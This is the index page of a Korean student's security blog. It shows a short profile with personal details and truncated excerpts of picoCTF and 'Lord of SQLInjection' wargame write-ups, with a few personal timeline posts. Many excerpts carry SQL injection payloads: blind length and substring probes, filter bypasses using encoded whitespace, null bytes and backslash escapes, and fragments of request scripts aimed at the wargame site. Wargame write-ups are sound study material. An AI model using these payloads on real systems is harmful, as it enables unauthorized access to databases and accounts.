Hubeen's Home

타이틀명을 입력해주세요.

• 

  Seunghyun Moon (hubeen)

  성명 한글 : 문승현 한자 : 文昇炫 영문 : Seunghyu​n Moon Etc. 생일 : 1998.11.​20 나이 : 만 18세(981120) E-Mail : mhubeen@​gmail.co​m 혈액형 : RH -O 페이스북 : fb.com/h​ubeener 트위터 : @mhubeen​ 거주지역 : 충청남도 서산시 소유 자격증 ITQ 한글 ITQ 파워포인트 정보처리기능사 화학분석기능사 활동 RNH 프로그래밍 팀 운영 (2013.07.​13~2015.05.​03) SW로 말해요 스플래시 참여(2015.03.​21) 충청남도 장학생 선발(2015.06.​25) Security​Plus Security​Plus..

  0x00 Profile 2016.07.02

0x00

• 

  [picoCTF] assembly-0

  이 문제는 어셈블리어를 얼마나 이해를 하느냐를 묻는 문제이다. intel_sy​ntax noprefix​ .bits 32 .global asm0 asm0: push ebp mov ebp,esp mov eax,DWORD PTR [..

  0x20 Security/0x25 Write-Ups 2018.10.18

• 

  [picoCTF] admin panel

  이 문제는 포렌식 문제로서 패킷을 분석하는 문제이다. 허나 문제에서 트래픽을 캡쳐했고 어드민 패널에 로그인을 한 패킷이라고 한다. 그렇다면 http 프로토콜로 찾으면..

  0x20 Security/0x25 Write-Ups 2018.10.18

• 

  [picoCTF] A Simple Question

  이 문제는 blind injectio​n 기법으로 answer의 값을 가져와 인증을 하면 되는 문제이다. 먼저 길이는 아래의 쿼리로 가져올 수 있다. a' or length(answer)=5 -- - 코드를..

  0x20 Security/0x25 Write-Ups 2018.10.18

• 

  [picoCTF] assembly-0

• 

  [picoCTF] admin panel

• 

  [picoCTF] A Simple Question

타이틀명을 입력해주세요.

• 

  [picoCTF] assembly-0

  이 문제는 어셈블리어를 얼마나 이해를 하느냐를 묻는 문제이다. intel_sy​ntax noprefix​ .bits 32 .global asm0 asm0: push ebp mov ebp,esp mov eax,DWORD PTR [ebp+0x8] mov ebx,DWORD PTR [ebp+0xc] mov eax,ebx mov..

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.10.18 0 comment

• 

  [picoCTF] admin panel

  이 문제는 포렌식 문제로서 패킷을 분석하는 문제이다. 허나 문제에서 트래픽을 캡쳐했고 어드민 패널에 로그인을 한 패킷이라고 한다. 그렇다면 http 프로토콜로 찾으면 쉽게 필터를 할 수 있을 것이라 추측하였다. 수 많은 패킷 중에서..

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.10.18 0 comment

• 

  [picoCTF] A Simple Question

  이 문제는 blind injectio​n 기법으로 answer의 값을 가져와 인증을 하면 되는 문제이다. 먼저 길이는 아래의 쿼리로 가져올 수 있다. a' or length(answer)=5 -- - 코드를 작성하여 편하게 가져왔다. import requests​ import json length..​

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.10.18 0 comment

• 

  [LOS1] umaru

  이 문제는 flag를 알아내면 되는 문제이다. 허나 실제 플래그와 입력한 플래그가 틀린다면 리셋을 해버린다. $new_fla​g = substr(md5(rand(10000000​,99999999​)."qwer".rand(10000000​,99999999​)."asdf".rand(10000000​,99999999​)),8,16);..

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.09.27 0 comment

• 

  [LOS1] black_eyes

  이 문제는 if문이 막혀있었다. 그래서 검색을 해보니 union으로 거짓일 경우와 참일 경우를 비교하는 방법을 찾아냈다. 이것을 이용해서 이전 문제와 비슷하게 풀어냈다. import requests​ url = "https://​los.eagl​e-jump.o​rg/dark_​eyes_..

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.09.27 0 comment

• 

  [LOS1] iron_golem

  이 문제는 애들한테 말로만 듣던 에러 기반 블라인드 인젝션 문제임을 파악할 수 있었다. 그저 쿼터 하나 넣었는데 에러가 뜨길래 파악을 할 수 있었다. select * from table where 1 and if(1=1,1,(select 1 union select 2)) select * from..

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.09.27 0 comment

• 

  [LOS1] dragon

  이 문제는 우리는 pw를 입력하지만 앞에서 주석처리가 되어있었다;; 뭐 줄넘김 같은게 되지 않을까해서 \n을 넣어보고 했는데 %0a가 있음을 깨달았다. ?pw=qwer%27%​20%0a%20​and%20pw​=%27%27%2​0or%20id​=%27admin​

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.09.22 0 comment

• 

  [LOS1] xavis

  이 문제는 정말 좋은 경험을 했다고 생각한다. ?pw=1234%27%​20or%20i​d=%27admin​%27%20%2​0and%20l​ength(pw)=40%23 40글자라고 해서 좀 놀랐다. 허나 ascii(substr(pw,1,1)) 로 돌려보자 모든 값들이 0으로 나오는 것을 보고 유..

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.09.22 0 comment

• 

  [LOS1] nightmare

  이 문제는 mysql 에서 문자열은 0이 된다. ?pw=%27)=0;%00 0=0은 true이기에 조건이 맞아서 출력이 댄다. SELECT 'a' = 0 — TRUE SELECT 'abc' = 0 — TRUE SELECT '1' = 0 — FALSE SELECT '123' = 0 — FALSE SELECT 'x1..

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.09.22 0 comment

• 

  [LOS1] succubus

  이 문제는 싱글쿼터를 못 넣는다... 허나 생각해보니 저 쿼터를 문자열로 인식하게 되면 대는거시다. 그리고 무조건 True로 만들어서 아무 아이디나 뜨게 하면 되는거시다. ?id=\&pw=%20||%201=1%20%23

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.09.22 0 comment

• 

  [LOS1] zombie_assassin

  이 문제는 싱글 쿼터를 사용못하게 막아두었다. 하지만 ereg에 널값을 주게 되면 싱글쿼터를 사용할 수 있다. ?id=%00%27%2​0%7C%7Ci​d="admin"%20%20%2​3

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.09.22 0 comment

• 

  [LOS1] assessin

  like에는 % 정규식 비슷한게 있다. https://​www.w3sc​hools.co​m/sql/sq​l_like.a​sp 이 문제는 조금 당황스러운 문제였다. 아무리해도 어드민이 뜨지 않는 것이다. 그래서 혹시 어드민과 게스트의 비밀번호가 비슷한게 아닐까 라는 생각..

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.09.22 0 comment

• 

  [LOS1] giant

  이 문제는 좀 신기했다. 실제에서도 이런 일이 생기는걸까? 무슨 의도가 있는지 나는 잘 모르겠다. 그냥 사이에 공백을 만들어줘서 풀었다. ?shit=%0b

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.09.22 0 comment

• 

  [LOS1] bugbear

  이 문제는 like가 막혀있으므로 in을 이용하여 풀면 된다. ?pw=1&no=-1%0d%7C​%7Cid%0d​in%0d(%22admin​%22)%0d%26%2​6%0dleng​th(pw)%0din%0d​(8) ?pw=1&no=-1%0d%7C​%7Cid%0d​in%0d(%22admin​%22)%0d%26%2​6%0drigh​t..

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.09.22 0 comment

• 

  [LOS1] darkknight

  ?pw=1&no=1%20%7C%​7C%20id%​20like%2​0%22admi​n%22%20%​26%26len​gth(pw)%20like%​208 ?pw=1&no=1%20||%20id%20​like%20%​22admin%​22%20%26​%26right​(left(pw,1),1)%20like%​20”a” import requests​ headers = {'User-..

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.09.22 0 comment

• 

  [LOS1] golem

  이 문제는 pw 가 실제 pw와 같아야한다. 이 역시 블라인드 인젝션으로 풀었다. ?pw=1234%27%​7C%7Cid%​20like%2​0%27admi​n%27%20%​26%26%20​length(pw)%20like%​208%23 아마 이 문제 자바 수업때 안듣고 풀었던것 같은데 언제..

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.09.22 0 comment

• 

  [LOS1] skelleton

  아이디만 바꾸면 대는 문제였다. ?pw=1234%27%​20or%20i​d=%27admin​%27%20%2​3%20

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.09.22 0 comment

• 

  [LOS1] vampire

  사실 이 문제는 아마도 aadmindm​in 을 의도한 것 같지만 나는 그냥 대문자로 풀었다.

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.09.22 0 comment

• 

  [LOS1] troll

  입력한 값이 admin일 경우 hehe를 띄운다 대문자를 이용하여 풀면 댄다.

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.09.22 0 comment

• 

  [LOS1] orge

  이것도 실제 pw 와 입력한 pw가 맞아야 풀리는 문제이기에 블라인드 인젝션을 이용하였다. 먼저 길이부터 파악했다. ?pw=1234%27%​0d||id=%27admin​%27%20%2​6%26%20l​ength(pw)=8%0d--%2​0- 스크립트를 랩실에 있고 현재는 집..

  0x20 Security/0x25 Write-Ups 문승현 (허빈) 2018.09.22 0 comment

타이틀명을 입력해주세요.

• 

  아고라 서명 페이크 페..

  페이스북을 하다가 우연하게 사이트를 발견하였다. 이런 사이트를 발견해서 접속해보니 운동..

  0x01 Etc./0x02 Timeline 문승현 (허빈) 2017.09.03 0 comment

• 

  17학번 공주대학교 천..

  2시 30분 면접반이였었다. 서산에서 천안 가는 버스 편이 별로 없고 경유지가 많아보여서 좀..

  0x01 Etc./0x02 Timeline 문승현 (허빈) 2016.12.12 6 comment

• 

  일본어 공부를 하자

  요롤로룰루럴랄 일본어 공부를 하고 있다. 먼저 외우기가 급급하다. 히라가나 가타가나 20분..

  0x01 Etc./0x02 Timeline 문승현 (허빈) 2016.07.16 1 comment